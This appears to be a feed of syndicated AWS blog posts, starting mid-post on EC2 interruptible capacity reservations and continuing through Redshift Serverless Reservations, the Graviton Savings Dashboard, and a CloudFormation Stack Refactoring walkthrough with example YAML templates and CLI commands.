Step 2: Discover available capacity and launch instances

After the reservation owner (the trading platform team) shares their reservation, the capacity consumer (data analytics team) needs to find the capacity in their account and launch into it. In this section, we walk through the interruptible ODCR discovery and launch process.

Discover available capacity

The data analytics team, running batch processing jobs in a separate AWS account, can now find the shared interruptible capacity in their account using the console, SDK, or AWS CLI. To use the console, they complete the following steps:

  1. On the Amazon EC2 console, choose Capacity Reservations in the navigation pane.
  2. Choose the ODCR to view its details page.

The interruptible reservation appears with a clear indication that it’s interruptible, showing the instance type (r7i.4xlarge), Availability Zone, and available capacity.

Discover available capacity

Configure Auto Scaling groups for interruptible capacity

To use this capacity for their batch processing workloads, the analytics team creates a new launch template specifically designed for interruptible capacity. The key configuration element is setting the new market-type parameter and targeting the interruptible ODCR.

In the launch template, specify the following:

  • Instance type: r7i.4xlarge (matching the shared capacity)
  • Capacity reservation specification: Targeted
  • Capacity reservation ID: Enter the ID of the shared interruptible ODCR
  • Market type: Use the type interruptible-capacity-reservation

Next, create an Auto Scaling group that uses this launch template. The group is configured as follows:

  • Minimum size: 0 (to avoid unnecessary costs when capacity isn’t needed)
  • Maximum size: 40 (within the available shared capacity)
  • Desired capacity: Set based on job queue length

Launch instances into interruptible capacity

When the analytics team’s batch processing jobs trigger scaling events, the Auto Scaling group launches instances that automatically target the shared interruptible ODCR. These instances launch immediately if capacity is available, providing the team with access to reserved capacity for their fault-tolerant workloads. The instances appear on the Amazon EC2 console with their instance lifecycle as interruptible-capacity-reservation and the ODCR ID in which they’re running. This provides clear indication that they’re running on interruptible capacity, helping with monitoring and cost allocation.

Step 3: Reclaim capacity and handle interruptions

In this section, we review how the capacity owner (the trading platform team) can reclaim their capacity when needed for their critical operations and how the capacity consumer can gracefully handle such interruptions.

Trigger reclamation

When market volatility increases and the trading platform needs to scale up quickly, the platform team initiates capacity reclamation through the console, SDK, or AWS CLI. To use the console, they complete the following steps:

  1. On the Amazon EC2 console, choose Capacity Reservations in the navigation pane.
  2. Choose the ODCR to view its details page.
  3. Choose Edit Interruptible Allocation.
  4. Specify how many instances are needed back (in this case, all 60 instances for maximum trading capacity).
  5. Choose Update, then choose Confirm.

Edit interruptible allocation

The reclamation process can also be automated using AWS Lambda functions triggered by Amazon CloudWatch alarms or scheduled events, providing proactive capacity management based on predictable usage patterns.

Consumer notification and graceful shutdown

After the owner triggers capacity reclamation, consuming instances receive a 2-minute instance interruption warning notice through Amazon EventBridge. The analytics team has configured their batch processing applications to listen for these events. Their applications receive this 2-minute warning and immediately begin checkpointing their current work, saving intermediate results to Amazon Simple Storage Service (Amazon S3), and gracefully shutting down. For EventBridge notification details, refer to the Monitor interruptible Capacity Reservations with EventBridge section in the EC2 Capacity Reservations User Guide.

Automatic capacity restoration to source ODCR

After the 2-minute notice period, Amazon EC2 starts shutting down the consuming instances. After the instances are successfully shut down, Amazon EC2 restores the capacity to the trading platform’s original ODCR. The trading platform can then launch their critical workloads into the same ODCR, resulting in minimal delay for their scaling requirements. The reservation owner can track their capacity reclamation status through the console or API. On the Amazon EC2 console, the ODCR details page shows the current instance allocation, target instance allocation, and request status. When current and target counts match, the status changes to Active, confirming completion.

After the reservation owner requests their capacity back, the capacity reclamation process can take a few minutes, so reservation owners should account for this delay when planning critical activities. This is because Amazon EC2 provides a 2-minute warning to the consumer instances, followed by the instance shutdown period.

Billing and cost considerations

The billing model for interruptible ODCRs follows a clear usage-based approach that aligns costs with consumption:

  • Reservation owner (trading platform team) – Pays EC2 On-Demand rates for unused capacity in the interruptible ODCR, just like any standard ODCR. For example, when the analytics team uses 30 out of 60 available instances, the trading platform pays for the remaining 30 unused instances.
  • Consumer (analytics team) – Pays EC2 On-Demand rates only for the instances they actually launch and use. For example, when they use 30 instances for 4 hours, they’re charged for 30 × 4 = 120 instance-hours at the standard r7i.4xlarge On-Demand rate.

Conclusion

Amazon EC2 interruptible ODCR helps organizations optimize compute spending while maintaining operational control. Through capacity reclamation mechanisms, teams can achieve better resource utilization without compromising availability guarantees. In this post, we showed how this capability addresses real operational challenges through an example use case—enabling a trading platform to maintain their critical capacity guarantees while helping other teams access high-quality compute resources for their workloads. The predictable interruption model creates a sustainable approach to capacity sharing that benefits the entire organization.

To get started with interruptible capacity reservations, refer to EC2 Capacity Reservations User Guide. To learn more about using EC2 Auto Scaling, refer the Interruptible Capacity Reservations with EC2 Auto Scaling guide. Refer to the AWS RAM User Guide to learn more about sharing resources across your organization and the Amazon EventBridge User Guide to learn more about handling interruption notifications in your applications.

Save up to 24% on Amazon Redshift Serverless compute costs with Reservations

Post Syndicated from Satesh Sonti original https://aws.amazon.com/blogs/big-data/save-up-to-24-on-amazon-redshift-serverless-compute-costs-with-reservations/

 Amazon Redshift Serverless makes it convenient to run and scale analytics without managing clusters, offering a flexible pay-as-you-go model. With Redshift Serverless Reservations, you can optimize compute costs and improve cost predictability for your Redshift Serverless workloads.

In this post, you learn how Amazon Redshift Serverless Reservations can help you lower your data warehouse costs. We explore ways to determine the optimal number of RPUs to reserve, review example scenarios, and discuss important considerations when purchasing these reservations.

How Amazon Redshift Serverless Reservations work

Amazon Redshift measures data warehouse capacity in Redshift Processing Units (RPUs). You pay for the workloads you run in RPU-hours on a per-second basis (with a 60-second minimum charge). 1 RPU provides 16 GB of memory. You can commit to a specific number of Redshift Processing Units (RPUs) for a one-year term. Two payment options are available: a no-upfront option with a 20% discount off on-demand rates, or an all-upfront option with a 24% discount. The reserved amount of RPUs is billed 24 hours a day, seven days a week

Amazon Redshift Serverless Reservations are managed at the AWS payer account level and can be shared across multiple AWS accounts. Any usage beyond your committed RPU level is charged at standard on-demand rates. You can purchase Serverless Reservations through either the Amazon Redshift console or the Amazon Redshift Serverless Reservations API using the create-reservation command.

Key benefits of Amazon Redshift Serverless Reservations

The following are some of the key benefits of subscribing to Redshift Serverless Reservations.

  • Cost savings through commitment: Redshift Serverless Reservations help you reduce your overall Redshift Serverless spend compared to on-demand (non-reserved) usage.
  • Centralized management: Supports reservation administration at the AWS payer account level for simplified governance and visibility across your organization.
  • Per-second metering with hourly billing: Offers per-second metering with hourly billing, so that you only pay for what you use. This cost-effective pricing model eliminates wasted resources and unnecessary charges, lowering your Amazon Redshift Serverless spend.
  • Predictable costs: The 24 hours a day, 7 days a week billing model offers stable monthly costs that simplify forecasting and budgeting.
  • Sharing capabilities between multiple AWS accounts: Enhances collaboration across different teams and departments, enabling improved resource utilization throughout your organization.

Determining optimal RPU reservation

You can determine your RPU reservation level through your serverless usage history and the AWS Billing and Cost Management recommendations.

Serverless usage history

You can use the Redshift Serverless Dashboard, which provides a detailed view of your workgroup and namespace activities. The dashboard helps you to analyze trends and patterns in your data warehouse usage. You can easily monitor your RPU capacity usage and total compute usage, helping you make informed decisions about resource allocation. For more granular analysis, you have the option to query the SYS_SERVERLESS_USAGE system table, which provides detailed historical usage data. To optimize costs while ensuring performance, you can reserve the minimum consistent RPUs used per hour by analyzing the usage patterns across all your workgroups.

AWS Billing and Cost Management recommendations

You can use AWS Billing and Cost Management to help you estimate your capacity needs:

  1. Navigate to your Billing and Cost Management dashboard.
  2. On the left navigation pane, expand Reservations.
  3. Choose Recommendations.
  4. Select Redshift in the Service drop down menu.
  5. Choose required Term, Payment option, and Based on the past to select the history to determine reservation recommendations.
  6. You will find the recommendations in the Recommendations section. The following is an example screen:

Recommendations Section

The following example shows a Redshift Serverless purchase recommendation from AWS Cost Management. The interface displays a specific recommendation to buy Reserved Instances with key details including the term length, AWS Region, payment option, and expected utilization rate. The recommendation includes upfront and recurring cost information, with a direct link to the Amazon Redshift console for implementation.

RS Serverless RPU instances

If reservations are not recommended based on your usage, then you will see “Based on your selections, no purchase recommendations are available for you at this time. Adjust your selections to view recommendation” message under the Recommended actions section.

Cost Explorer generates your reservation recommendations by identifying your On-demand usage during a specific period and identifying the best number of reservations to purchase to maximize your estimated savings.

Disclaimer: The approaches described above provide an estimate of your optimal RPU reservation level. Actual results may vary depending on workload patterns, peak usage, and utilization variability. Your RPU commitment may not always yield the maximum available discount percentage, as savings depend on how closely your Redshift Serverless Reserved RPUs aligns with real usage over time. This recommendation does not guarantee the cost for your actual use of AWS services.

For more details visit Accessing reservation recommendations.

Real-world scenarios

Let’s examine two different scenarios to understand how reservations can help you optimize costs, we’ll walk through the scenario of a single Redshift Serverless workgroup and a scenario with multiple Redshift serverless workgroups.

Scenario 1: Single Redshift Serverless workgroup

Let’s consider you have only one Redshift Serverless workgroup in your environment and the workload is spread as described in the following table.

In the table, hourly RPU consumption metrics for workgroup1 across different time intervals. The data shows a reservation of 64 RPUs with no upfront payment option, which provides a 20% discount. The table breaks down the compute usage into two categories: Reserved compute, consistently showing 64 RPUs across all hours, and On-demand compute, which varies based on actual consumption above the reserved capacity. The bottom row displays the Total charged RPUs, which reflects the final billing after applying the reserved instance discount. This helps visualize how the workload utilizes the reserved capacity and any additional on-demand usage throughout the specified time period.The total actual RPU consumption is 1,664 and the total charged consumption is 1,484.8. This configuration results in a 10.7% net discount.

Scenario 2: Multiple Redshift Serverless workgroups

In this scenario, you have multiple Redshift serverless workgroup in your environment and the workload is spread as described in the following table.

Similar to the previous single workgroup scenario, you can see hourly RPU consumption metrics for workgroups across different time intervals. In this scenario, you have also opted for 64 RPUs reserved with no upfront option, which applies a 20% discount to the workload. However, you can notice that the total consumption across workgroups matches the total reserved RPUs. This maximizes your total savings even though individual workgroups consumed less than the total RPUs reserved at the payer account level.

The total actual RPU consumption is 1,536 (768+512+256) across workgroups and the total charged consumption is 1,228.8. This configuration results in a 20% net discount.

You can use the following query to find the average RPUs consumed in each hour in a workgroup.

SELECT
date_trunc('hour',end_time) AS run_hr,
avg(compute_capacity)
FROM SYS_SERVERLESS_USAGE
GROUP BY 1
ORDER BY 1

You can use the output of this query to populate a spreadsheet with a similar structure as the ones used in the previous scenarios.

Considerations

We recommend you consider the following when using Redshift Serverless Reservations:

  • Start conservatively: Avoid over-purchasing Serverless Reservations RPUs. It’s best to begin with a minimum base RPU level or align your commitment to the average RPU usage across all Redshift Serverless workgroups under your AWS payer and linked accounts.
  • Reservations are immutable: Once purchased, Redshift Serverless Reservations can’t be changed or deleted. However, you can add additional reservations later to increase your coverage as your workloads grow.
  • Discount sharing control: The management account in an AWS Organization can disable Reserved Instance or Savings Plan discount sharing for any linked accounts, including itself. See the AWS documentation for details.
  • Automatic discount application: Redshift Serverless Reservations billing model automatically applies all the reserved RPU discount to your workloads before using on-demand cost, helping you save on costs.
  • Reservations are Regional: They apply only within the AWS Region where they are purchased and cannot be shared across Regions.
  • Handling excess usage: If your workload exceeds the number of reserved RPUs, the additional usage is billed at the standard on-demand rate.
  • Use a 30 to 60-day window for recommendations: To receive the most accurate reservation recommendations, we suggest using a 30- to 60-day usage window in the Billing and Cost Management console, under Reservations, in the Recommendations section. This approach assumes that your typical production workloads have been running during that period so that the recommendations reflect real-world usage.

Conclusion

In this post, we described how Amazon Redshift Serverless Reservations provide a way to reduce your data warehouse costs while maintaining the flexibility of Redshift serverless pricing. By carefully planning your Amazon Redshift Serverless Reservation strategy and monitoring usage patterns, you can achieve up to 24% cost savings for your Redshift Serverless analytics workloads. For detailed documentation, see Billing for serverless reservations.


About the authors

Satesh Sonti

Satesh Sonti

Satesh is a Principal Specialist Solutions Architect based out of Atlanta, specializing in building enterprise data platforms, data warehousing, and analytics solutions. He has over 20 years of experience in building data assets and leading complex data platform programs for banking and insurance clients across the globe.

Ashish Agrawal

Ashish Agrawal

Ashish is a Principal Product Manager with Amazon Redshift, building cloud-based data warehouses and analytics cloud services. Ashish has over 25 years of experience in IT. Ashish has expertise in data warehouses, data lakes, and platform as a service. Ashish has been a speaker at worldwide technical conferences.

How potential performance upside with AWS Graviton helps reduce your costs further

Post Syndicated from Markus Adhiwiyogo original https://aws.amazon.com/blogs/compute/how-potential-performance-upside-with-aws-graviton-helps-reduce-your-costs-further/

Amazon Web Services (AWS) provides many mechanisms to optimize the price performance of workloads running on Amazon Elastic Compute Cloud (Amazon EC2), and the selection of the optimal infrastructure to run on can be one of the most impactful levers. When we started building the AWS Graviton processor, our goal was to optimize AWS Graviton features and capabilities to deliver a processor that provides the best price performance across a broad array of cloud workloads running on Amazon EC2. That goal continues to be our guiding principle, and today customers who adopt AWS Graviton-based EC2 instances see up to 40% better price performance on their cloud workloads when compared to equivalent non-Graviton EC2 instances. The price performance improvement is the result of both the performance improvement and the lower price in using AWS Graviton-based instances.

Price performance blends the cost of infrastructure with the amount of work you can achieve with infrastructure usage. After talking to many AWS Graviton customers, we’ve learned that the cost savings go beyond the lower AWS Graviton-based instances price. Many AWS Graviton customers told us that the performance increase from AWS Graviton allows them to consume fewer computing hours than comparable non-Graviton instances for equivalent workload throughput. In turn, this leads to further cost reduction.

The following are some of examples from our customers:

  • Pinterest achieved 47% cost savings and 38% savings on compute resources while reducing carbon emissions by 62% for its web API workload.
  • SAP powers its SAP HANA Cloud with AWS Graviton to enhance its price performance by 35% while lowering carbon impact by 45%.
  • Sprinklr improved their machine learning (ML) inference workloads’ throughput by up to 20% while reducing costs by up to 25%.

You can find more customer examples in the AWS Graviton testimonials page.

To help organizations capture similar benefits, we’ve enhanced the AWS Graviton Savings Dashboard (GSD) with new features that account for both pricing and performance improvements. In the following section we explore these new capabilities and how they can help optimize your infrastructure costs.

Understanding performance-driven cost optimization in the GSD

The GSD helps organizations identify ideal workloads for AWS Graviton migration through automated resource matching and data-driven visualizations. You can learn the GSD details and setup in this AWS compute post.

Although the dashboard has traditionally focused on calculating direct cost savings from the AWS Graviton pricing advantages, we’ve observed that customers often experience more benefits when their applications perform more efficiently on AWS Graviton processors, leading to decreased compute resource usage. To better reflect these real-world scenarios, we’ve enhanced the dashboard with new features highlighting Normalized Instance Hours (NIH) analysis capabilities so that you can model potential savings based on both pricing benefits and compute hour reductions. Although this tool helps estimate potential savings, actual performance improvements can only be determined by testing your specific workloads on AWS Graviton instances. Performance is always workload and use case specific, so we encourage you to test your AWS Graviton-based workloads using the Optimization and Performance Runbook to help you determine the actual possible NIH percent reduction.

Key dashboard components

This section outlines the following three key dashboard components: NIH reduction analysis, enhanced cost analysis visualizations, and detailed savings analysis.

NIH reduction analysis

The dashboard now features a new slider that lets you model potential cost savings by inputting the percentage reduction in NIH. Many organizations have found it challenging to calculate their total possible savings since the benefits come from two sources: the lower instance pricing of AWS Graviton and the reduced compute hours.

You can use the slider to model different cost scenarios by adjusting a theoretical NIH reduction between 0% and 40%. You can use this slider to input NIH reductions validated through your workload testing, model the combined impact of both pricing benefits and reduced compute hours, and explore different scenarios to help prioritize which workloads to test first.

Figure 1: NIH slider location

Figure 1: NIH slider location

Assume that your testing shows that your workload runs just as effectively with 15% fewer normalized instance hours on AWS Graviton. You can now plug that exact number into the slider to see your modeled savings combining both pricing differences and compute hour reductions. Although we’ve heard success stories of significant reductions from customers, we recommend starting your initial estimate with a conservative 10% baseline and adjusting based on your own testing results.

Enhanced cost analysis visualizations

The dashboard presents key visualizations that demonstrate the direct relationship between NIH reduction and cost savings. First, you see the Potential Graviton Base Savings from pricing differences alone. In the following diagram, we can observe an example of $61.54K of cost savings from migrating to equivalent AWS Graviton instances. Next, the Estimated Additional Savings Due to Performance in the same diagram shows $42.40K in savings if your performance testing confirms a 15% NIH reduction in your workload. Finally, the dashboard sums these two values into the Total Potential Graviton Savings of $103.94K. The Total Potential Graviton Savings helps visualize how both pricing benefits and any validated compute hour reductions could contribute to your overall savings.

Figure 2: Visualization with relationship between NIH reduction and cost savings

Figure 2: Visualization with relationship between NIH reduction and cost savings

The Amortized Cost Breakdown and Normalized Instance Hrs Breakdown charts in the following figure show 6-month historical trends, helping you spot patterns such as seasonal spikes or high-usage periods. These patterns can help you identify where even small efficiency improvements might yield significant savings, for example, workloads with consistently high usage or predictable peak periods that would be good candidates for testing.

Figure 3: Amortized Cost, NIH, and Total Potential Savings Breakdown charts

Figure 3: Amortized Cost, NIH, and Total Potential Savings Breakdown charts

Detailed savings analysis

Building on our commitment to help customers optimize cloud costs, we’ve enhanced the Potential Graviton Savings Details table with two columns focused on performance-based savings modeling. The Estimated Additional Savings Due to Performance column shows the modeled savings based on your chosen NIH reduction percentage, while Total Potential Graviton Savings combines this with the base pricing benefits.

Figure 4: Potential Graviton Savings Details table

Figure 4: Potential Graviton Savings Details table

As you examine your current instance family, you can observe both baseline AWS Graviton savings and these added saving opportunities clearly laid out in a comprehensive breakdown. The analysis presents your total savings potential in both dollar amounts and percentages. This allows you to build a compelling business case for migration. Although this detailed breakdown provides valuable planning insights, remember that actual savings may vary depending on your specific workload patterns, implementation approaches, and operational considerations.

Conclusion

The Graviton Savings Dashboard (GSD) serves as a powerful analytics tool that streamlines your journey to cost-effective cloud computing. The GSD provides clear visualizations and interactive features to help you understand and maximize potential savings when migrating to AWS Graviton-based instances. To further explore the new features, navigate to the GSD interactive demo, where you can model an example of potential savings using the NIH reduction slider and detailed cost breakdowns.

Ready to explore how AWS Graviton can transform your infrastructure costs? Visit the GSD page to deploy or update your GSD dashboard. Access implementation guides, such as the CFM Technical Implementation Playbook (CFM TIPs), and start optimizing your cloud spend today with the enhanced capabilities of the GSD.

Over 85,000 AWS customers have discovered the benefits of AWS Graviton, with many completing their adoptions in just hours. We have created this resource guide so that you can accelerate your AWS Graviton adoption with minimal effort and enjoy significant price performance benefits.

“What I always tell customers is one week, one application, one engineer, and see what you can do. They always are pleasantly surprised by how much progress they can make. If you’re out there and you haven’t yet moved to AWS Graviton, what are you waiting for? Let’s make it happen!”

Dave Brown, VP, AWS Compute & ML Services

Important note about performance testing
The GSD does not attempt to estimate the potential NIH percent reduction or your workload’s performance when transitioned to AWS Graviton. You can use it to perform what-if analysis of your potential savings for a projected NIH percent reduction. In the absence of this variable, GSD only considers the price delta between instance types and misses an important contributor to the overall savings potential of AWS Graviton from the performance upside. Compute performance is always workload and use case specific, so we encourage you to test your AWS Graviton-based workloads using the Optimization and Performance Runbook to help you determine the actual possible NIH percent reduction.

Introducing AWS CloudFormation Stack Refactoring Console Experience: Reorganize Your Infrastructure Without Disruption

Post Syndicated from Brian Terry original https://aws.amazon.com/blogs/devops/introducing-aws-cloudformation-stack-refactoring-reorganize-your-infrastructure-without-disruption/

AWS CloudFormation models and provisions cloud infrastructure as code, letting you manage entire lifecycle operations through declarative templates. Stack Refactoring console experience, announced today, extends the AWS CLI experience launched earlier. Now, you move resources between stacks, rename logical IDs, and decompose monolithic templates into focused components without touching the underlying infrastructure using the CloudFormation console. Your resources maintain stability and operational state throughout the reorganization. Whether you’re modernizing legacy stacks, aligning infrastructure with evolving architectural patterns, or improving long-term maintainability, Stack Refactoring adapts your CloudFormation stacks organization to changing requirements without forcing disruptive workarounds.

Stack Refactoring enables you to move resources between stacks, rename logical resource IDs, and split monolithic stacks into smaller, more manageable components—all while maintaining resource stability and preserving your infrastructure’s operational state. If you’re modernizing legacy infrastructure, aligning stack organization with evolving architectural patterns, or improving maintainability across your cloud resources, Stack Refactoring provides the flexibility you need to adapt your CloudFormation organization to changing

How It Works

Stack Refactoring operates through a controlled, multi-phase process designed around resource safety. When you initiate a refactor operation, CloudFormation analyzes both source and destination templates, constructs a detailed execution plan, then orchestrates resource movement without disrupting running infrastructure. Resource mappings define how assets transfer between stacks and how logical IDs should change. CloudFormation handles the orchestration complexity automatically – moving resources from source stacks, updating or creating destination stacks, and preserving all dependency relationships through exports and imports.

Each refactor operation receives a unique Stack Refactor ID for tracking progress, reviewing planned actions before execution, and monitoring the operation from initiation through completion. This preview-then-execute model gives you confidence in complex refactoring scenarios where dependencies span multiple stacks or templates.

Compared to the CLI, the console experience provides an easier way to view refactor actions, get automatic resource mapping, and easily rename logical IDs.

Example Scenario

Scenario 1: Splitting a Monolithic Stack

In this scenario, you have an Amazon Simple Notification Service (SNS) and AWS Lambda Function subscribed to it. As usage patterns evolve, you want to separate the subscriptions into a different stack for better organizational boundaries. You can also rename a resource’s logical ID to improve template clarity or align with naming conventions. Stack Refactoring handles this without recreating the underlying resource.

  1. Create a new template MySNS.yaml using the following :
    # Original stack: MySns
    AWSTemplateFormatVersion: "2010-09-09"
    
    Resources:
      Topic:
        Type: AWS::SNS::Topic
    
      MyFunction:
        Type: AWS::Lambda::Function
        Properties:
          FunctionName: my-function
          Handler: index.handler
          Runtime: python3.12
          Code:
            ZipFile: |
              import json
              def handler(event, context):
                print(json.dumps(event))
                return event
          Role: !GetAtt FunctionRole.Arn
          Timeout: 30
    
      Subscription:
        Type: AWS::SNS::Subscription
        Properties:
          Endpoint: !GetAtt MyFunction.Arn
          Protocol: lambda
          TopicArn: !Ref Topic
    
      FunctionInvokePermission:
        Type: AWS::Lambda::Permission
        Properties:
          Action: lambda:InvokeFunction
          Principal: sns.amazonaws.com
          FunctionName: !GetAtt MyFunction.Arn
          SourceArn: !Ref Topic
    
      FunctionRole:
        Type: AWS::IAM::Role
        Properties:
          AssumeRolePolicyDocument:
            Version: "2012-10-17"
            Statement:
              - Action:
                  - sts:AssumeRole
                Effect: Allow
                Principal:
                  Service:
                    - lambda.amazonaws.com
                Condition:
                  StringEquals:
                    aws:SourceAccount: !Ref AWS::AccountId
                  ArnLike:
                    aws:SourceArn: !Sub "arn:${AWS::Partition}:lambda:${AWS::Region}:${AWS::AccountId}:function:my-function"
          Policies:
            - PolicyName: LambdaPolicy
              PolicyDocument:
                Version: "2012-10-17"
                Statement:
                  - Action:
                      - logs:CreateLogGroup
                      - logs:CreateLogStream
                      - logs:PutLogEvents
                    Resource:
                      - arn:aws:logs:*:*:*
                    Effect: Allow
  2. Create a new stack using this MySNS.yaml template:
    aws cloudformation create-stack --stack-name MySns --template-body file://MySNS.yaml --capabilities CAPABILITY_IAM
  3. Create a new template called afterSns.yaml with the content below. This template has your SNS topic in it and has a new export in it that will export the SNS topic ARN. This export will be used by your other templates to get the required SNS topic ARN.
    # afterSns.yaml - Focused SNS stack
    Resources:
      Topic:
        Type: AWS::SNS::Topic
    Outputs:
      TopicArn:
        Value: !Ref Topic
        Export:
          Name: TopicArn
  4. Create a new template afterLambda.yaml with the following content. This template includes all the resources to create a Lambda subscription to your SNS topic. This template switched the !Ref Topic to use the exported valued by using !ImportValue TopicArn. We are also updating the Logical Resource Id of Lambda function from MyFunction to Function

    AWSTemplateFormatVersion: "2010-09-09"
    Resources:
      Function:
        Type: AWS::Lambda::Function
        Properties:
          FunctionName: my-function
          Handler: index.handler
          Runtime: python3.12
          Code:
            ZipFile: |
              import json
              def handler(event, context):
                print(json.dumps(event))
                return event
          Role: !GetAtt FunctionRole.Arn
          Timeout: 30
      Subscription:
        Type: AWS::SNS::Subscription
        Properties:
          Endpoint: !GetAtt Function.Arn
          Protocol: lambda
          TopicArn: !ImportValue TopicArn
      FunctionInvokePermission:
        Type: AWS::Lambda::Permission
        Properties:
          Action: lambda:InvokeFunction
          Principal: sns.amazonaws.com
          FunctionName: !GetAtt Function.Arn
          SourceArn: !ImportValue TopicArn
      FunctionRole:
        Type: AWS::IAM::Role
        Properties:
          AssumeRolePolicyDocument:
            Version: "2012-10-17"
            Statement:
              - Action:
                  - sts:AssumeRole
                Effect: Allow
                Principal:
                  Service:
                    - lambda.amazonaws.com
                Condition:
                  StringEquals:
                    aws:SourceAccount: !Ref AWS::AccountId
                  ArnLike:
                    aws:SourceArn: !Sub "arn:${AWS::Partition}:lambda:${AWS::Region}:${AWS::AccountId}:function:my-function"
          Policies:
            - PolicyName: LambdaPolicy
              PolicyDocument:
                Version: "2012-10-17"
                Statement:
                  - Action:
                      - logs:CreateLogGroup
                      - logs:CreateLogStream
                      - logs:PutLogEvents
                    Resource:
                      - arn:aws:logs:*:*:*
                    Effect: Allow

     

  5. Go to stack refactor home page, click on ‘create stack refactor’
    Go to stack refactor home page, click on ‘create stack refactor’
  6. Provide a description to help you identify your stack refactor.
    Provide a description to help you identify your stack refactor.
  7. For this scenario, we are splitting a monolithic stack so select ‘Update the template for an existing stack’ and ‘Choose a stack’ options.
  8. Search and choose the stack MySns that was created in Step 1.
    Search and choose the stack MySns that was created in Step 1.
  9. Upload the afterSns.yaml file
    Upload the afterSns.yaml file
  10. You want to create a new stack to manage the Lambda function and SNS subscription resources. Choose ‘Create a new stack’ and name it ‘LambdaSubscription’.
  11. Upload afterLambda.yaml template file
    Upload afterLambda.yaml template fileIn some scenarios, CloudFormation console can automatically detect logical resource ID renames and pre-fill the mapping for you. The resource mapping is required when there are logical resource ID changes between the original stack and refactored template. Ensure that the mappings are correct before proceeding to the next step.
    In some scenarios, CloudFormation console can automatically detect logical resource ID renames
  12. The stack refactor preview will start generating. Wait for the preview to complete. You can verify actions under Stack 1 and Stack 2. It will show you the action for each resource.
    The stack refactor preview will start generating. Wait for the preview to complete. You can verify actions under Stack 1 and Stack 2. It will show you the action for each resource.
  13. You can also preview the new Stack refactored templates
    You can also preview the new Stack refactored templates
  14. Once you verify the details, go ahead and Execute Refactor. You should be redirected to the stack refactor details.
  15. Once the Stack refactor execution is complete you can view the actions and templates for each of the stacks in your stack refactor.
    Once the Stack refactor execution is complete you can view the actions and templates for each of the stacks in your stack refactor.

Scenario 2: Move resources across multiple stacks.

This scenario demonstrates how to refactor resources across three stacks using the AWS CLI, then review and execute the operation in the CloudFormation console.

  1. Create a new template many-stacks-original.yaml and create a new stack named ‘RefactorManyStacks’ using AWS CLI. This template contains SNS topic (IngestTopic),Lambda function(IngestFunction) and SNS subscription.
    AWSTemplateFormatVersion: "2010-09-09"
    
    Resources:
      IngestTopic:
        Type: AWS::SNS::Topic
    
      IngestFunction:
        Type: AWS::Lambda::Function
        Properties:
          FunctionName: many-stack-my-function
          Handler: index.handler
          Runtime: python3.12
          Code:
            ZipFile: |
              import json
              def handler(event, context):
                print(json.dumps(event))
                return event
          Role: !GetAtt IngestFunctionRole.Arn
          Timeout: 30
    
      IngestSubscription:
        Type: AWS::SNS::Subscription
        Properties:
          Endpoint: !GetAtt IngestFunction.Arn
          Protocol: lambda
          TopicArn: !Ref IngestTopic
    
      IngestFunctionInvokePermission:
        Type: AWS::Lambda::Permission
        Properties:
          Action: lambda:InvokeFunction
          Principal: sns.amazonaws.com
          FunctionName: !GetAtt IngestFunction.Arn
          SourceArn: !Ref IngestTopic
    
      IngestFunctionRole:
        Type: AWS::IAM::Role
        Properties:
          AssumeRolePolicyDocument:
            Version: "2012-10-17"
            Statement:
              - Action:
                  - sts:AssumeRole
                Effect: Allow
                Principal:
                  Service:
                    - lambda.amazonaws.com
                Condition:
                  StringEquals:
                    aws:SourceAccount: !Ref AWS::AccountId
                  ArnLike:
                    aws:SourceArn: !Sub "arn:${AWS::Partition}:lambda:${AWS::Region}:${AWS::AccountId}:function:many-stack-my-function"
          Policies:
            - PolicyName: LambdaPolicy
              PolicyDocument:
                Version: "2012-10-17"
                Statement:
                  - Action:
                      - logs:CreateLogGroup
                      - logs:CreateLogStream
                      - logs:PutLogEvents
                    Resource:
                      - arn:aws:logs:*:*:*
                    Effect: Allow
  2. Create another template many-stacks-original-1.yaml and run the AWS CLI command to create a new stack ‘RefactorManyStacks1’. This template creates another SNS topic (UserTopic), Lambda function (UserFunction) and SNS subscription.
    aws cloudformation create-stack --stack-name RefactorManyStacks --template-body file://many-stacks-original.yaml --capabilities CAPABILITY_IAM
  3. Create a new template many-stacks-original-2.yaml and run the AWS CLI command to create the stack RefactorManyStacks2. This template will also create SNS topic (ConsumerTopic), Lambda function (ConsumerFunction) and SNS subscription to lambda function.
    AWSTemplateFormatVersion: "2010-09-09"
    
    Resources:
      ConsumerTopic:
        Type: AWS::SNS::Topic
    
      ConsumerFunction:
        Type: AWS::Lambda::Function
        Properties:
          FunctionName: many-stack-my-function-2
          Handler: index.handler
          Runtime: python3.12
          Code:
            ZipFile: |
              import json
              def handler(event, context):
                print(json.dumps(event))
                return event
          Role: !GetAtt ConsumerFunctionRole.Arn
          Timeout: 30
    
      ConsumerSubscription:
        Type: AWS::SNS::Subscription
        Properties:
          Endpoint: !GetAtt ConsumerFunction.Arn
          Protocol: lambda
          TopicArn: !Ref ConsumerTopic
    
      ConsumerFunctionInvokePermission:
        Type: AWS::Lambda::Permission
        Properties:
          Action: lambda:InvokeFunction
          Principal: sns.amazonaws.com
          FunctionName: !GetAtt ConsumerFunction.Arn
          SourceArn: !Ref ConsumerTopic
    
      ConsumerFunctionRole:
        Type: AWS::IAM::Role
        Properties:
          AssumeRolePolicyDocument:
            Version: "2012-10-17"
            Statement:
              - Action:
                  - sts:AssumeRole
                Effect: Allow
                Principal:
                  Service:
                    - lambda.amazonaws.com
                Condition:
                  StringEquals:
                    aws:SourceAccount: !Ref AWS::AccountId
                  ArnLike:
                    aws:SourceArn: !Sub "arn:${AWS::Partition}:lambda:${AWS::Region}:${AWS::AccountId}:function:many-stack-my-function-2"
          Policies:
            - PolicyName: LambdaPolicy
              PolicyDocument:
                Version: "2012-10-17"
                Statement:
                  - Action:
                      - logs:CreateLogGroup
                      - logs:CreateLogStream
                      - logs:PutLogEvents
                    Resource:
                      - arn:aws:logs:*:*:*
                    Effect: Allow
    aws cloudformation create-stack --stack-name RefactorManyStacks2 --template-body file://many-stacks-original-2.yaml --capabilities CAPABILITY_IAM

Once all 3 stacks have been created successfully. Create refactored templates.

  1. Create new template many-stacks-refactored.yaml This refactored template only contains SNS topic named IngestTopic and has a new export in it that will export the SNS topic ARN. This export will be used by your other templates to get the required SNS topic ARN.
    AWSTemplateFormatVersion: "2010-09-09"
    
    Resources:
      IngestTopic:
        Type: AWS::SNS::Topic
    Outputs:
      IngestTopicArn:
        Value: !Ref IngestTopic
        Export:
          Name: IngestTopicArn
